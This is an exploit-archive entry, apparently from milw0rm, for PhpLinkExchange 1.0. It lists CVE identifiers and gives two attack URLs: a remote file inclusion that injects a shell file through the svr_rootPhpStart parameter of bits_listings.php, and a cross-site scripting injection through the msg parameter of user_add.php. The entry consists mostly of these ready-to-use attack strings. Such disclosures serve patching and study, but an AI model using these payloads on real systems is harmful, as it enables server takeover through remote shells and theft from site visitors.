PhpLinkExchange 1.0 - Include / Cross-Site Scripting

Author: s3rv3r_hack3r
type: webapps
platform: php
port: 0
date_added: 2006-09-10
date_updated: 
verified: 1
codes: OSVDB-32157;CVE-2006-4742;OSVDB-32156;CVE-2006-4741
tags: 
aliases: 
screenshot_url: 
application_url: 

vendor :www.idevspot.com

Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange

By : s3rv3r_hack3r

www: hackerz.ir & h4ckerz.com

remote file include :

http://www.domain.com/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=[shell.txt?]

xss:

http://www.domain.com/PhpLinkExchange/user_add.php?msg=[xss]

# milw0rm.com [2006-09-11]